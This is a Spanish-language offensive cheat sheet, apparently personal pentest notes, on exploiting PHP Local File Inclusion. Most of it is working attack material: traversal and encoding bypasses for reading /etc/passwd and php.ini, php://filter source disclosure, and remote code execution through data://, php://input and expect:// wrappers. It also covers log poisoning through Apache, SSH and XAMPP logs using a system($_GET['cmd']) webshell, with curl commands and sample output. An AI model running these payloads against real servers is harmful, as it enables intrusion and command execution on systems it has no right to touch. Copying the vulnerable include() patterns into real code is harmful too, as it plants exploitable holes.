Local File Inclusion (LFI)
LFI ocurre cuando una aplicación web incluye dinámicamente un archivo local del servidor basándose en una entrada controlable por el usuario (típicamente un parámetro de URL), sin validar adecuadamente qué archivo se está solicitando. Esto permite a un atacante leer archivos arbitrarios del sistema y, en varios escenarios, escalar hasta ejecución remota de código (RCE).
http://<SERVER_IP>:<PORT>/index.php?language=/etc/passwdPatrones de código vulnerable
Path traversal directo (el parámetro se pasa tal cual a include()):
include($_GET['language']);Con un directorio base fijo (aún vulnerable si no se valida ../):
include("./languages/" . $_GET['language']);Con un prefijo de nombre de archivo:
include("lang_" . $_GET['language']);Con una extensión añadida al final:
include($_GET['language'] . ".php");Bypasses básicos
Filtros de path traversal no recursivos
Uno de los filtros más básicos contra LFI es un filtro de búsqueda y reemplazo que simplemente elimina las subcadenas ../ para evitar el recorrido de directorios:
$language = str_replace('../', '', $_GET['language']);Como el reemplazo no es recursivo, se puede evadir anidando la secuencia de forma que, al eliminarse ../ una vez, quede otra secuencia ../ válida:
http://<SERVER_IP>:<PORT>/index.php?language=....//....//....//....//etc/passwdCodificación de caracteres
Si la aplicación bloquea literalmente / o . en la entrada, se puede codificar en URL-encoding (../ → %2e%2e%2f), lo que a menudo evade el filtro si este se aplica antes de decodificar la URL:
http://<SERVER_IP>:<PORT>/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64- Herramientas útiles para esta codificación: Burp Suite Decoder, o cualquier utilidad de codificación URL en línea.
- También existe la doble codificación (
%252e%252e%252f), útil cuando hay más de una capa de decodificación entre el filtro y el uso final del valor.
Rutas aprobadas (whitelist con regex débil)
if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {
include($_GET['language']);
} else {
echo 'Illegal path specified!';
}El regex solo exige que la cadena empiece con ./languages/, pero no impide que después contenga secuencias de traversal:
http://<SERVER_IP>:<PORT>/index.php?language=./languages/../../../../etc/passwdExtensión añadida automáticamente
Truncamiento de ruta (Path Truncation)
En versiones antiguas de PHP (<5.3-5.4, dependiendo de configuración), el sistema de archivos truncaba rutas que excedían cierta longitud máxima, lo que permitía "desbordar" la extensión añadida repitiendo segmentos inocuos:
?language=non_existing_directory/../../../etc/passwd/./././. [repetir "./" ~2048 veces]- Técnica en gran parte obsoleta en sistemas modernos, pero vale la pena probarla en objetivos con PHP muy desactualizado.
Byte nulo (Null Byte)
En PHP < 5.3.4, se podía terminar el payload con un byte nulo (%00) para truncar la cadena antes de que se concatenara la extensión:
/etc/passwd%00Esto hacía que, aunque el código añadiera .php al final (/etc/passwd%00.php), la ruta real usada por el sistema de archivos subyacente fuera solo /etc/passwd, ya que el byte nulo termina la cadena en C (el lenguaje en que está escrito el intérprete de PHP).
- Al igual que el truncamiento de ruta, esta técnica solo funciona contra instalaciones de PHP muy antiguas y sin parchear.
PHP Wrappers y Filtros
PHP ofrece "wrappers" (envoltorios) que permiten tratar distintos protocolos/fuentes de datos como si fueran archivos locales al pasarlos a funciones como include(). Esto amplía enormemente el impacto de un LFI, permitiendo desde lectura de código fuente hasta RCE directa.
Filtros de conversión (php://filter)
php://
php://filter/Existen cuatro tipos de filtros: de cadena, de conversión, de compresión y de cifrado. El más relevante para LFI es el filtro de conversión convert.base64-encode, ya que permite leer el código fuente de archivos PHP sin que el servidor los ejecute (algo que un include() normal haría, mostrando solo el resultado renderizado en vez del código):
php://filter/read=convert.base64-encode/resource=config
php://filter/convert.base64-encode/resource=config- La forma
read=convert.base64-encodees la más confiable, ya que especifica explícitamente la operación (read); la forma sinread=a veces no funciona correctamente según la versión de PHP.
❯ curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=config"❯ echo 'PD9waHAK...SNIP...KICB9Ciov' | base64 -dOtros filtros de conversión útiles:
php://filter/read=string.rot13/resource=<archivo>Comprobar configuraciones peligrosas de PHP vía php.ini
❯ curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"❯ echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include
allow_url_include = Onallow_url_include = Ones el requisito indispensable para poder usar wrappers remotos (http://,ftp://) y lograr Remote File Inclusion (verrfi.md).
❯ echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep expect
extension=expect- La presencia de la extensión
expecthabilita el wrapperexpect://(ver más abajo), otro vector directo a RCE.
RCE con data:// (sin necesidad de allow_url_include, solo allow_url_fopen)
Codificar un webshell simple en base64:
❯ echo '<?php system($_GET["cmd"]); ?>' | base64
PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==Pasar el contenido codificado directamente como un "archivo" vía el wrapper data://:
❯ curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uid
uid=33(www-data) gid=33(www-data) groups=33(www-data)data://text/plain;base64,<payload>: el navegador/servidor interpreta el contenido después de la coma como el "archivo" a incluir — PHP lo ejecuta como si fuera un script PHP real.
Variante sin base64, con el código PHP directamente en la URL (útil cuando el sistema bloquea/detecta la firma de base64):
data://text/plain,<?php system($_GET['cmd']); ?>RCE con php://input
Envía el código PHP en el cuerpo de una petición POST, en vez de en la URL — útil para evadir WAFs que solo inspeccionan parámetros GET:
❯ curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uid
uid=33(www-data) gid=33(www-data) groups=33(www-data)- Requiere que la directiva
allow_url_includeesté habilitada (a diferencia dedata://, que solo necesitaallow_url_fopen, activado por defecto en la mayoría de instalaciones).
RCE con expect://
Si la extensión expect está instalada, este wrapper ejecuta comandos del sistema directamente, sin necesidad de inyectar código PHP:
❯ curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)expectno viene instalado por defecto en la mayoría de distribuciones — su presencia es poco común pero, cuando existe, es el vector más directo de todos.
zip:// — LFI a RCE vía archivo ZIP
zip://<archivo.zip>#<archivo interno>- Permite incluir un archivo específico dentro de un ZIP subido previamente al servidor (ver
lfi_file_uploads.mdpara el flujo completo de explotación).
glob:// — Listado de archivos con comodines
glob:///var/www/html/*- Menos usado para RCE directa, pero útil para enumerar archivos en un directorio cuando no se conoce el nombre exacto de un archivo a incluir.
Referencias de wrappers
- https://www.thehacker.recipes/web/inputs/file-inclusion/lfi-to-rce/php-wrappers-and-streams
- https://www.php.net/manual/en/wrappers.php
Log Poisoning — LFI a RCE sin subir archivos
Cuando no es posible subir un archivo directamente (ver lfi_file_uploads.md) ni usar los wrappers data:///php://input (por ejemplo, si allow_url_include está deshabilitado y no hay extensión expect), se puede "envenenar" un archivo de log del servidor con código PHP, y luego incluir ese log vía LFI para que se ejecute.
Envenenamiento del log de Apache (vía User-Agent)
El log de acceso de Apache registra la cabecera User-Agent de cada petición tal cual la envía el cliente. Si se envía un payload PHP como User-Agent, queda escrito textualmente en el log:
❯ curl -s "http://<SERVER_IP>:<PORT>/" -A "<?php system(\$_GET['cmd']); ?>"Luego se incluye el log vía LFI para ejecutar el código recién inyectado:
❯ curl -s "http://<SERVER_IP>:<PORT>/index.php?language=../../../../var/log/apache2/access.log&cmd=id"- La ruta exacta del log varía según la distribución (
/var/log/apache2/access.logen Debian/Ubuntu,/var/log/httpd/access_logen RHEL/CentOS) — confirmar con la configuración obtenida previamente (apache2.conf/envvars).
Envenenamiento vía /proc/self/environ
Alternativa cuando no hay acceso a los logs, pero sí se puede leer /proc/self/environ (que contiene las variables de entorno del proceso, incluyendo cabeceras HTTP en algunas configuraciones de Apache con mod_cgi):
❯ curl -s "http://<SERVER_IP>:<PORT>/" -A "<?php system(\$_GET['cmd']); ?>"
❯ curl -s "http://<SERVER_IP>:<PORT>/index.php?language=/proc/self/environ&cmd=id"- Técnica menos confiable en configuraciones modernas (requiere
mod_cgi, poco común hoy en día), pero vale la pena probarla como alternativa a los logs.
Envenenamiento de logs de SSH
Si el servidor SSH es alcanzable (incluso sin credenciales válidas) y su log es legible vía LFI, se puede inyectar PHP en el campo de usuario durante un intento de login fallido:
❯ ssh '<?php system($_GET["cmd"]); ?>'@<SERVER_IP>El intento de login (que fallará) queda registrado en el log de autenticación:
❯ curl -s "http://<SERVER_IP>:<PORT>/index.php?language=../../../../var/log/auth.log&cmd=id"- Ruta típica en Debian/Ubuntu:
/var/log/auth.log. En RHEL/CentOS:/var/log/secure. - Requiere permisos de lectura sobre el log de auth, que suele estar más restringido que el log de Apache — probar solo si el envenenamiento vía User-Agent no es viable.
Log Poisoning en Windows (XAMPP)
La técnica es idéntica a la vista en Linux (envenenar vía User-Agent, incluir el log resultante vía LFI), pero la ruta del log cambia según el stack específico instalado. En un servidor Windows con XAMPP (una distribución empaquetada de Apache/MySQL/PHP muy común en entornos de desarrollo, y a veces encontrada también en producción por descuido), el log de acceso de Apache se ubica en:
C:\xampp\apache\logs\access.logEl payload de envenenamiento es el mismo (enviar el snippet PHP como User-Agent), y la inclusión vía LFI apunta a esta ruta específica en vez de la ruta Linux estándar:
❯ curl -s "http://<SERVER_IP>:<PORT>/index.php?language=../../../../xampp/apache/logs/access.log&cmd=whoami"- El número de
../necesarios depende de la profundidad del directorio de instalación de la aplicación vulnerable dentro deC:\xampp\htdocs\